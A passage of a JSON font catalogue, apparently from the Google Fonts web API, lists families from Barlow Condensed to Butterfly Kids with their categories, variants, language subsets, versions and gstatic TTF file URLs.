"http://fonts.gstatic.com/s/barlowcondensed/v4/HTx3L3I-JCGChYJ8VI-L6OO_au7B2xbZ23n3pKg.ttf", "italic": "http://fonts.gstatic.com/s/barlowcondensed/v4/HTxxL3I-JCGChYJ8VI-L6OO_au7B6xTT31vytKgbaw.ttf", "500italic": "http://fonts.gstatic.com/s/barlowcondensed/v4/HTxyL3I-JCGChYJ8VI-L6OO_au7B6xTrK3LWvIMHYrtUxg.ttf", "600italic": "http://fonts.gstatic.com/s/barlowcondensed/v4/HTxyL3I-JCGChYJ8VI-L6OO_au7B6xTrB3XWvIMHYrtUxg.ttf", "700italic": "http://fonts.gstatic.com/s/barlowcondensed/v4/HTxyL3I-JCGChYJ8VI-L6OO_au7B6xTrY3TWvIMHYrtUxg.ttf", "800italic": "http://fonts.gstatic.com/s/barlowcondensed/v4/HTxyL3I-JCGChYJ8VI-L6OO_au7B6xTrf3fWvIMHYrtUxg.ttf", "900italic": "http://fonts.gstatic.com/s/barlowcondensed/v4/HTxyL3I-JCGChYJ8VI-L6OO_au7B6xTrW3bWvIMHYrtUxg.ttf" } }, { "kind": "webfonts#webfont", "family": "Barlow Semi Condensed", "category": "sans-serif", "variants": [ "100", "100italic", "200", "200italic", "300", "300italic", "regular", "italic", "500", "500italic", "600", "600italic", "700", "700italic", "800", "800italic", "900", "900italic" ], "subsets": [ "latin", "latin-ext", "vietnamese" ], "version": "v5", "lastModified": "2019-07-17", "files": { "100": "http://fonts.gstatic.com/s/barlowsemicondensed/v5/wlphgxjLBV1hqnzfr-F8sEYMB0Yybp0mudRfG4qvKk8ogoSP.ttf", "200": "http://fonts.gstatic.com/s/barlowsemicondensed/v5/wlpigxjLBV1hqnzfr-F8sEYMB0Yybp0mudRft6uPAGEki52WfA.ttf", "300": "http://fonts.gstatic.com/s/barlowsemicondensed/v5/wlpigxjLBV1hqnzfr-F8sEYMB0Yybp0mudRf06iPAGEki52WfA.ttf", "500": "http://fonts.gstatic.com/s/barlowsemicondensed/v5/wlpigxjLBV1hqnzfr-F8sEYMB0Yybp0mudRfi6mPAGEki52WfA.ttf", "600": "http://fonts.gstatic.com/s/barlowsemicondensed/v5/wlpigxjLBV1hqnzfr-F8sEYMB0Yybp0mudRfp66PAGEki52WfA.ttf", "700": "http://fonts.gstatic.com/s/barlowsemicondensed/v5/wlpigxjLBV1hqnzfr-F8sEYMB0Yybp0mudRfw6-PAGEki52WfA.ttf", "800": "http://fonts.gstatic.com/s/barlowsemicondensed/v5/wlpigxjLBV1hqnzfr-F8sEYMB0Yybp0mudRf36yPAGEki52WfA.ttf", "900": "http://fonts.gstatic.com/s/barlowsemicondensed/v5/wlpigxjLBV1hqnzfr-F8sEYMB0Yybp0mudRf-62PAGEki52WfA.ttf", "100italic": "http://fonts.gstatic.com/s/barlowsemicondensed/v5/wlpjgxjLBV1hqnzfr-F8sEYMB0Yybp0mudRXfbLLIEsKh5SPZWs.ttf", "200italic": "http://fonts.gstatic.com/s/barlowsemicondensed/v5/wlpkgxjLBV1hqnzfr-F8sEYMB0Yybp0mudRXfbJnAWsgqZiGfHK5.ttf", "300italic": "http://fonts.gstatic.com/s/barlowsemicondensed/v5/wlpkgxjLBV1hqnzfr-F8sEYMB0Yybp0mudRXfbIDAmsgqZiGfHK5.ttf", "regular": "http://fonts.gstatic.com/s/barlowsemicondensed/v5/wlpvgxjLBV1hqnzfr-F8sEYMB0Yybp0mudRnf4CrCEo4gg.ttf", "italic": "http://fonts.gstatic.com/s/barlowsemicondensed/v5/wlphgxjLBV1hqnzfr-F8sEYMB0Yybp0mudRXfYqvKk8ogoSP.ttf", "500italic": "http://fonts.gstatic.com/s/barlowsemicondensed/v5/wlpkgxjLBV1hqnzfr-F8sEYMB0Yybp0mudRXfbJbA2sgqZiGfHK5.ttf", "600italic": "http://fonts.gstatic.com/s/barlowsemicondensed/v5/wlpkgxjLBV1hqnzfr-F8sEYMB0Yybp0mudRXfbJ3BGsgqZiGfHK5.ttf", "700italic": "http://fonts.gstatic.com/s/barlowsemicondensed/v5/wlpkgxjLBV1hqnzfr-F8sEYMB0Yybp0mudRXfbITBWsgqZiGfHK5.ttf", "800italic": "http://fonts.gstatic.com/s/barlowsemicondensed/v5/wlpkgxjLBV1hqnzfr-F8sEYMB0Yybp0mudRXfbIPBmsgqZiGfHK5.ttf", "900italic": "http://fonts.gstatic.com/s/barlowsemicondensed/v5/wlpkgxjLBV1hqnzfr-F8sEYMB0Yybp0mudRXfbIrB2sgqZiGfHK5.ttf" } }, { "kind": "webfonts#webfont", "family": "Barriecito", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext", "vietnamese" ], "version": "v2", "lastModified": "2019-11-05", "files": { "regular": "http://fonts.gstatic.com/s/barriecito/v2/WWXXlj-CbBOSLY2QTuY_KdUiYwTO0MU.ttf" } }, { "kind": "webfonts#webfont", "family": "Barrio", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v4", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/barrio/v4/wEO8EBXBk8hBIDiEdQYhWdsX1Q.ttf" } }, { "kind": "webfonts#webfont", "family": "Basic", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/basic/v9/xfu_0WLxV2_XKQN34lDVyR7D.ttf" } }, { "kind": "webfonts#webfont", "family": "Baskervville", "category": "serif", "variants": [ "regular", "italic" ], "subsets": [ "latin", "latin-ext" ], "version": "v1", "lastModified": "2020-03-03", "files": { "regular": "http://fonts.gstatic.com/s/baskervville/v1/YA9Ur0yU4l_XOrogbkun3kQgt5OohvbJ9A.ttf", "italic": "http://fonts.gstatic.com/s/baskervville/v1/YA9Kr0yU4l_XOrogbkun3kQQtZmspPPZ9Mlt.ttf" } }, { "kind": "webfonts#webfont", "family": "Battambang", "category": "display", "variants": [ "regular", "700" ], "subsets": [ "khmer" ], "version": "v13", "lastModified": "2019-07-16", "files": { "700": "http://fonts.gstatic.com/s/battambang/v13/uk-lEGe7raEw-HjkzZabNsmMxyRa8oZK9I0.ttf", "regular": "http://fonts.gstatic.com/s/battambang/v13/uk-mEGe7raEw-HjkzZabDnWj4yxx7o8.ttf" } }, { "kind": "webfonts#webfont", "family": "Baumans", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/baumans/v9/-W_-XJj9QyTd3QfpR_oyaksqY5Q.ttf" } }, { "kind": "webfonts#webfont", "family": "Bayon", "category": "display", "variants": [ "regular" ], "subsets": [ "khmer" ], "version": "v13", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/bayon/v13/9XUrlJNmn0LPFl-pOhYEd2NJ.ttf" } }, { "kind": "webfonts#webfont", "family": "Be Vietnam", "category": "sans-serif", "variants": [ "100", "100italic", "300", "300italic", "regular", "italic", "500", "500italic", "600", "600italic", "700", "700italic", "800", "800italic" ], "subsets": [ "latin", "latin-ext", "vietnamese" ], "version": "v1", "lastModified": "2020-03-03", "files": { "100": "http://fonts.gstatic.com/s/bevietnam/v1/FBVxdDflz-iPfoPuIC2iKsUn7W1hK2czPg.ttf", "300": "http://fonts.gstatic.com/s/bevietnam/v1/FBVwdDflz-iPfoPuIC2iKg0FzUdPJ24qJzc.ttf", "500": "http://fonts.gstatic.com/s/bevietnam/v1/FBVwdDflz-iPfoPuIC2iKlUEzUdPJ24qJzc.ttf", "600": "http://fonts.gstatic.com/s/bevietnam/v1/FBVwdDflz-iPfoPuIC2iKnkDzUdPJ24qJzc.ttf", "700": "http://fonts.gstatic.com/s/bevietnam/v1/FBVwdDflz-iPfoPuIC2iKh0CzUdPJ24qJzc.ttf", "800": "http://fonts.gstatic.com/s/bevietnam/v1/FBVwdDflz-iPfoPuIC2iKgEBzUdPJ24qJzc.ttf", "100italic": "http://fonts.gstatic.com/s/bevietnam/v1/FBVvdDflz-iPfoPuIC2iIqMfiWdlCWIjPi5p.ttf", "300italic": "http://fonts.gstatic.com/s/bevietnam/v1/FBVudDflz-iPfoPuIC2iIqMfQUVFI0wvNzdwXQ.ttf", "regular": "http://fonts.gstatic.com/s/bevietnam/v1/FBVzdDflz-iPfoPuIC2iEqEt6U9kO2c.ttf", "italic": "http://fonts.gstatic.com/s/bevietnam/v1/FBVxdDflz-iPfoPuIC2iIqMn7W1hK2czPg.ttf", "500italic": "http://fonts.gstatic.com/s/bevietnam/v1/FBVudDflz-iPfoPuIC2iIqMfGURFI0wvNzdwXQ.ttf", "600italic": "http://fonts.gstatic.com/s/bevietnam/v1/FBVudDflz-iPfoPuIC2iIqMfNUNFI0wvNzdwXQ.ttf", "700italic": "http://fonts.gstatic.com/s/bevietnam/v1/FBVudDflz-iPfoPuIC2iIqMfUUJFI0wvNzdwXQ.ttf", "800italic": "http://fonts.gstatic.com/s/bevietnam/v1/FBVudDflz-iPfoPuIC2iIqMfTUFFI0wvNzdwXQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Bebas Neue", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v1", "lastModified": "2020-03-03", "files": { "regular": "http://fonts.gstatic.com/s/bebasneue/v1/JTUSjIg69CK48gW7PXooxW5rygbi49c.ttf" } }, { "kind": "webfonts#webfont", "family": "Belgrano", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/belgrano/v10/55xvey5tM9rwKWrJZcMFirl08KDJ.ttf" } }, { "kind": "webfonts#webfont", "family": "Bellefair", "category": "serif", "variants": [ "regular" ], "subsets": [ "hebrew", "latin", "latin-ext" ], "version": "v5", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/bellefair/v5/kJExBuYY6AAuhiXUxG19__A2pOdvDA.ttf" } }, { "kind": "webfonts#webfont", "family": "Belleza", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/belleza/v8/0nkoC9_pNeMfhX4BtcbyawzruP8.ttf" } }, { "kind": "webfonts#webfont", "family": "Bellota", "category": "display", "variants": [ "300", "300italic", "regular", "italic", "700", "700italic" ], "subsets": [ "cyrillic", "latin", "latin-ext", "vietnamese" ], "version": "v1", "lastModified": "2020-04-21", "files": { "300": "http://fonts.gstatic.com/s/bellota/v1/MwQzbhXl3_qEpiwAID55kGMViblPtXs.ttf", "700": "http://fonts.gstatic.com/s/bellota/v1/MwQzbhXl3_qEpiwAIC5-kGMViblPtXs.ttf", "300italic": "http://fonts.gstatic.com/s/bellota/v1/MwQxbhXl3_qEpiwAKJBjHGEfjZtKpXulTQ.ttf", "regular": "http://fonts.gstatic.com/s/bellota/v1/MwQ2bhXl3_qEpiwAGJJRtGs-lbA.ttf", "italic": "http://fonts.gstatic.com/s/bellota/v1/MwQ0bhXl3_qEpiwAKJBbsEk7hbBWrA.ttf", "700italic": "http://fonts.gstatic.com/s/bellota/v1/MwQxbhXl3_qEpiwAKJBjDGYfjZtKpXulTQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Bellota Text", "category": "display", "variants": [ "300", "300italic", "regular", "italic", "700", "700italic" ], "subsets": [ "cyrillic", "latin", "latin-ext", "vietnamese" ], "version": "v1", "lastModified": "2020-04-21", "files": { "300": "http://fonts.gstatic.com/s/bellotatext/v1/0FlMVP2VnlWS4f3-UE9hHXM5VfsqfQXwQy6yxg.ttf", "700": "http://fonts.gstatic.com/s/bellotatext/v1/0FlMVP2VnlWS4f3-UE9hHXM5RfwqfQXwQy6yxg.ttf", "300italic": "http://fonts.gstatic.com/s/bellotatext/v1/0FlOVP2VnlWS4f3-UE9hHXMx--Gmfw_0YSuixmYK.ttf", "regular": "http://fonts.gstatic.com/s/bellotatext/v1/0FlTVP2VnlWS4f3-UE9hHXMB-dMOdS7sSg.ttf", "italic": "http://fonts.gstatic.com/s/bellotatext/v1/0FlNVP2VnlWS4f3-UE9hHXMx-9kKVyv8Sjer.ttf", "700italic": "http://fonts.gstatic.com/s/bellotatext/v1/0FlOVP2VnlWS4f3-UE9hHXMx--G2eA_0YSuixmYK.ttf" } }, { "kind": "webfonts#webfont", "family": "BenchNine", "category": "sans-serif", "variants": [ "300", "regular", "700" ], "subsets": [ "latin", "latin-ext" ], "version": "v8", "lastModified": "2019-07-16", "files": { "300": "http://fonts.gstatic.com/s/benchnine/v8/ahcev8612zF4jxrwMosT--tRhWa8q0v8ag.ttf", "700": "http://fonts.gstatic.com/s/benchnine/v8/ahcev8612zF4jxrwMosT6-xRhWa8q0v8ag.ttf", "regular": "http://fonts.gstatic.com/s/benchnine/v8/ahcbv8612zF4jxrwMosrV8N1jU2gog.ttf" } }, { "kind": "webfonts#webfont", "family": "Bentham", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/bentham/v10/VdGeAZQPEpYfmHglKWw7CJaK_y4.ttf" } }, { "kind": "webfonts#webfont", "family": "Berkshire Swash", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/berkshireswash/v8/ptRRTi-cavZOGqCvnNJDl5m5XmNPrcQybX4pQA.ttf" } }, { "kind": "webfonts#webfont", "family": "Beth Ellen", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v1", "lastModified": "2019-11-05", "files": { "regular": "http://fonts.gstatic.com/s/bethellen/v1/WwkbxPW2BE-3rb_JNT-qEIAiVNo5xNY.ttf" } }, { "kind": "webfonts#webfont", "family": "Bevan", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext", "vietnamese" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/bevan/v11/4iCj6KZ0a9NXjF8aUir7tlSJ.ttf" } }, { "kind": "webfonts#webfont", "family": "Big Shoulders Display", "category": "display", "variants": [ "100", "300", "regular", "500", "600", "700", "800", "900" ], "subsets": [ "latin", "latin-ext", "vietnamese" ], "version": "v1", "lastModified": "2020-03-03", "files": { "100": "http://fonts.gstatic.com/s/bigshouldersdisplay/v1/fC1xPZJEZG-e9gHhdI4-NBbfd2ys3SjJCx1Ur9DrDJYM2lAZ.ttf", "300": "http://fonts.gstatic.com/s/bigshouldersdisplay/v1/fC1yPZJEZG-e9gHhdI4-NBbfd2ys3SjJCx1UZ_LLJrgA00kAdA.ttf", "500": "http://fonts.gstatic.com/s/bigshouldersdisplay/v1/fC1yPZJEZG-e9gHhdI4-NBbfd2ys3SjJCx1UP_PLJrgA00kAdA.ttf", "600": "http://fonts.gstatic.com/s/bigshouldersdisplay/v1/fC1yPZJEZG-e9gHhdI4-NBbfd2ys3SjJCx1UE_TLJrgA00kAdA.ttf", "700": "http://fonts.gstatic.com/s/bigshouldersdisplay/v1/fC1yPZJEZG-e9gHhdI4-NBbfd2ys3SjJCx1Ud_XLJrgA00kAdA.ttf", "800": "http://fonts.gstatic.com/s/bigshouldersdisplay/v1/fC1yPZJEZG-e9gHhdI4-NBbfd2ys3SjJCx1Ua_bLJrgA00kAdA.ttf", "900": "http://fonts.gstatic.com/s/bigshouldersdisplay/v1/fC1yPZJEZG-e9gHhdI4-NBbfd2ys3SjJCx1UT_fLJrgA00kAdA.ttf", "regular": "http://fonts.gstatic.com/s/bigshouldersdisplay/v1/fC1_PZJEZG-e9gHhdI4-NBbfd2ys3SjJCx1sy9rvLpMc2g.ttf" } }, { "kind": "webfonts#webfont", "family": "Big Shoulders Text", "category": "display", "variants": [ "100", "300", "regular", "500", "600", "700", "800", "900" ], "subsets": [ "latin", "latin-ext", "vietnamese" ], "version": "v1", "lastModified": "2020-03-03", "files": { "100": "http://fonts.gstatic.com/s/bigshoulderstext/v1/55xzezRtP9G3CGPIf49hxc8P0eytUxBU-IZ_YscCdXQB.ttf", "300": "http://fonts.gstatic.com/s/bigshoulderstext/v1/55xyezRtP9G3CGPIf49hxc8P0eytUxBUMKRfSOkOfG0Y3A.ttf", "500": "http://fonts.gstatic.com/s/bigshoulderstext/v1/55xyezRtP9G3CGPIf49hxc8P0eytUxBUaKVfSOkOfG0Y3A.ttf", "600": "http://fonts.gstatic.com/s/bigshoulderstext/v1/55xyezRtP9G3CGPIf49hxc8P0eytUxBURKJfSOkOfG0Y3A.ttf", "700": "http://fonts.gstatic.com/s/bigshoulderstext/v1/55xyezRtP9G3CGPIf49hxc8P0eytUxBUIKNfSOkOfG0Y3A.ttf", "800": "http://fonts.gstatic.com/s/bigshoulderstext/v1/55xyezRtP9G3CGPIf49hxc8P0eytUxBUPKBfSOkOfG0Y3A.ttf", "900": "http://fonts.gstatic.com/s/bigshoulderstext/v1/55xyezRtP9G3CGPIf49hxc8P0eytUxBUGKFfSOkOfG0Y3A.ttf", "regular": "http://fonts.gstatic.com/s/bigshoulderstext/v1/55xxezRtP9G3CGPIf49hxc8P0eytUxBsnIx7QMISdQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Bigelow Rules", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/bigelowrules/v8/RrQWboly8iR_I3KWSzeRuN0zT4cCH8WAJVk.ttf" } }, { "kind": "webfonts#webfont", "family": "Bigshot One", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/bigshotone/v10/u-470qukhRkkO6BD_7cM_gxuUQJBXv_-.ttf" } }, { "kind": "webfonts#webfont", "family": "Bilbo", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/bilbo/v9/o-0EIpgpwWwZ210hpIRz4wxE.ttf" } }, { "kind": "webfonts#webfont", "family": "Bilbo Swash Caps", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v12", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/bilboswashcaps/v12/zrf-0GXbz-H3Wb4XBsGrTgq2PVmdqAPopiRfKp8.ttf" } }, { "kind": "webfonts#webfont", "family": "BioRhyme", "category": "serif", "variants": [ "200", "300", "regular", "700", "800" ], "subsets": [ "latin", "latin-ext" ], "version": "v4", "lastModified": "2019-07-16", "files": { "200": "http://fonts.gstatic.com/s/biorhyme/v4/1cX3aULHBpDMsHYW_ESOjnGAq8Sk1PoH.ttf", "300": "http://fonts.gstatic.com/s/biorhyme/v4/1cX3aULHBpDMsHYW_ETqjXGAq8Sk1PoH.ttf", "700": "http://fonts.gstatic.com/s/biorhyme/v4/1cX3aULHBpDMsHYW_ET6inGAq8Sk1PoH.ttf", "800": "http://fonts.gstatic.com/s/biorhyme/v4/1cX3aULHBpDMsHYW_ETmiXGAq8Sk1PoH.ttf", "regular": "http://fonts.gstatic.com/s/biorhyme/v4/1cXwaULHBpDMsHYW_HxGpVWIgNit.ttf" } }, { "kind": "webfonts#webfont", "family": "BioRhyme Expanded", "category": "serif", "variants": [ "200", "300", "regular", "700", "800" ], "subsets": [ "latin", "latin-ext" ], "version": "v5", "lastModified": "2019-07-16", "files": { "200": "http://fonts.gstatic.com/s/biorhymeexpanded/v5/i7dVIE1zZzytGswgU577CDY9LjbffxxcblSHSdTXrb_z.ttf", "300": "http://fonts.gstatic.com/s/biorhymeexpanded/v5/i7dVIE1zZzytGswgU577CDY9Ljbffxw4bVSHSdTXrb_z.ttf", "700": "http://fonts.gstatic.com/s/biorhymeexpanded/v5/i7dVIE1zZzytGswgU577CDY9LjbffxwoalSHSdTXrb_z.ttf", "800": "http://fonts.gstatic.com/s/biorhymeexpanded/v5/i7dVIE1zZzytGswgU577CDY9Ljbffxw0aVSHSdTXrb_z.ttf", "regular": "http://fonts.gstatic.com/s/biorhymeexpanded/v5/i7dQIE1zZzytGswgU577CDY9LjbffySURXCPYsje.ttf" } }, { "kind": "webfonts#webfont", "family": "Biryani", "category": "sans-serif", "variants": [ "200", "300", "regular", "600", "700", "800", "900" ], "subsets": [ "devanagari", "latin", "latin-ext" ], "version": "v5", "lastModified": "2019-07-16", "files": { "200": "http://fonts.gstatic.com/s/biryani/v5/hv-TlzNxIFoO84YddYQyGTBSU-J-RxQ.ttf", "300": "http://fonts.gstatic.com/s/biryani/v5/hv-TlzNxIFoO84YddeAxGTBSU-J-RxQ.ttf", "600": "http://fonts.gstatic.com/s/biryani/v5/hv-TlzNxIFoO84YddZQ3GTBSU-J-RxQ.ttf", "700": "http://fonts.gstatic.com/s/biryani/v5/hv-TlzNxIFoO84YddfA2GTBSU-J-RxQ.ttf", "800": "http://fonts.gstatic.com/s/biryani/v5/hv-TlzNxIFoO84Yddew1GTBSU-J-RxQ.ttf", "900": "http://fonts.gstatic.com/s/biryani/v5/hv-TlzNxIFoO84Yddcg0GTBSU-J-RxQ.ttf", "regular": "http://fonts.gstatic.com/s/biryani/v5/hv-WlzNxIFoO84YdTUwZPTh5T-s.ttf" } }, { "kind": "webfonts#webfont", "family": "Bitter", "category": "serif", "variants": [ "regular", "italic", "700" ], "subsets": [ "latin", "latin-ext" ], "version": "v15", "lastModified": "2019-07-22", "files": { "700": "http://fonts.gstatic.com/s/bitter/v15/rax_HiqOu8IVPmnzxKlMBBJek0vA8A.ttf", "regular": "http://fonts.gstatic.com/s/bitter/v15/rax8HiqOu8IVPmnLeIZoDDlCmg.ttf", "italic": "http://fonts.gstatic.com/s/bitter/v15/rax-HiqOu8IVPmn7eoxsLjxSmlLZ.ttf" } }, { "kind": "webfonts#webfont", "family": "Black And White Picture", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "korean", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/blackandwhitepicture/v8/TwMe-JAERlQd3ooUHBUXGmrmioKjjnRSFO-NqI5HbcMi-yWY.ttf" } }, { "kind": "webfonts#webfont", "family": "Black Han Sans", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "korean", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/blackhansans/v8/ea8Aad44WunzF9a-dL6toA8r8nqVIXSkH-Hc.ttf" } }, { "kind": "webfonts#webfont", "family": "Black Ops One", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/blackopsone/v11/qWcsB6-ypo7xBdr6Xshe96H3WDzRtjkho4M.ttf" } }, { "kind": "webfonts#webfont", "family": "Blinker", "category": "sans-serif", "variants": [ "100", "200", "300", "regular", "600", "700", "800", "900" ], "subsets": [ "latin", "latin-ext" ], "version": "v3", "lastModified": "2019-11-05", "files": { "100": "http://fonts.gstatic.com/s/blinker/v3/cIf_MaFatEE-VTaP_E2hZEsCkIt9QQ.ttf", "200": "http://fonts.gstatic.com/s/blinker/v3/cIf4MaFatEE-VTaP_OGARGEsnIJkWL4.ttf", "300": "http://fonts.gstatic.com/s/blinker/v3/cIf4MaFatEE-VTaP_IWDRGEsnIJkWL4.ttf", "600": "http://fonts.gstatic.com/s/blinker/v3/cIf4MaFatEE-VTaP_PGFRGEsnIJkWL4.ttf", "700": "http://fonts.gstatic.com/s/blinker/v3/cIf4MaFatEE-VTaP_JWERGEsnIJkWL4.ttf", "800": "http://fonts.gstatic.com/s/blinker/v3/cIf4MaFatEE-VTaP_ImHRGEsnIJkWL4.ttf", "900": "http://fonts.gstatic.com/s/blinker/v3/cIf4MaFatEE-VTaP_K2GRGEsnIJkWL4.ttf", "regular": "http://fonts.gstatic.com/s/blinker/v3/cIf9MaFatEE-VTaPxCmrYGkHgIs.ttf" } }, { "kind": "webfonts#webfont", "family": "Bokor", "category": "display", "variants": [ "regular" ], "subsets": [ "khmer" ], "version": "v12", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/bokor/v12/m8JcjfpeeaqTiR2WdInbcaxE.ttf" } }, { "kind": "webfonts#webfont", "family": "Bonbon", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/bonbon/v11/0FlVVPeVlFec4ee_cDEAbQY5-A.ttf" } }, { "kind": "webfonts#webfont", "family": "Boogaloo", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/boogaloo/v11/kmK-Zq45GAvOdnaW6x1F_SrQo_1K.ttf" } }, { "kind": "webfonts#webfont", "family": "Bowlby One", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/bowlbyone/v11/taiPGmVuC4y96PFeqp8smo6C_Z0wcK4.ttf" } }, { "kind": "webfonts#webfont", "family": "Bowlby One SC", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/bowlbyonesc/v11/DtVlJxerQqQm37tzN3wMug9Pzgj8owhNjuE.ttf" } }, { "kind": "webfonts#webfont", "family": "Brawler", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/brawler/v10/xn7gYHE3xXewAscGsgC7S9XdZN8.ttf" } }, { "kind": "webfonts#webfont", "family": "Bree Serif", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v9", "lastModified": "2019-07-17", "files": { "regular": "http://fonts.gstatic.com/s/breeserif/v9/4UaHrEJCrhhnVA3DgluAx63j5pN1MwI.ttf" } }, { "kind": "webfonts#webfont", "family": "Bubblegum Sans", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/bubblegumsans/v8/AYCSpXb_Z9EORv1M5QTjEzMEtdaHzoPPb7R4.ttf" } }, { "kind": "webfonts#webfont", "family": "Bubbler One", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/bubblerone/v8/f0Xy0eqj68ppQV9KBLmAouHH26MPePkt.ttf" } }, { "kind": "webfonts#webfont", "family": "Buda", "category": "display", "variants": [ "300" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "300": "http://fonts.gstatic.com/s/buda/v10/GFDqWAN8mnyIJSSrG7UBr7pZKA0.ttf" } }, { "kind": "webfonts#webfont", "family": "Buenard", "category": "serif", "variants": [ "regular", "700" ], "subsets": [ "latin", "latin-ext" ], "version": "v11", "lastModified": "2019-07-16", "files": { "700": "http://fonts.gstatic.com/s/buenard/v11/OD5GuM6Cyma8FnnsB4vSjGCWALepwss.ttf", "regular": "http://fonts.gstatic.com/s/buenard/v11/OD5DuM6Cyma8FnnsPzf9qGi9HL4.ttf" } }, { "kind": "webfonts#webfont", "family": "Bungee", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext", "vietnamese" ], "version": "v5", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/bungee/v5/N0bU2SZBIuF2PU_ECn50Kd_PmA.ttf" } }, { "kind": "webfonts#webfont", "family": "Bungee Hairline", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext", "vietnamese" ], "version": "v5", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/bungeehairline/v5/snfys0G548t04270a_ljTLUVrv-7YB2dQ5ZPqQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Bungee Inline", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext", "vietnamese" ], "version": "v5", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/bungeeinline/v5/Gg8zN58UcgnlCweMrih332VuDGJ1-FEglsc.ttf" } }, { "kind": "webfonts#webfont", "family": "Bungee Outline", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext", "vietnamese" ], "version": "v5", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/bungeeoutline/v5/_6_mEDvmVP24UvU2MyiGDslL3Qg3YhJqPXxo.ttf" } }, { "kind": "webfonts#webfont", "family": "Bungee Shade", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext", "vietnamese" ], "version": "v5", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/bungeeshade/v5/DtVkJxarWL0t2KdzK3oI_jks7iLSrwFUlw.ttf" } }, { "kind": "webfonts#webfont", "family": "Butcherman", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/butcherman/v11/2EbiL-thF0loflXUBOdb1zWzq_5uT84.ttf" } }, { "kind": "webfonts#webfont", "family": "Butterfly Kids", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": 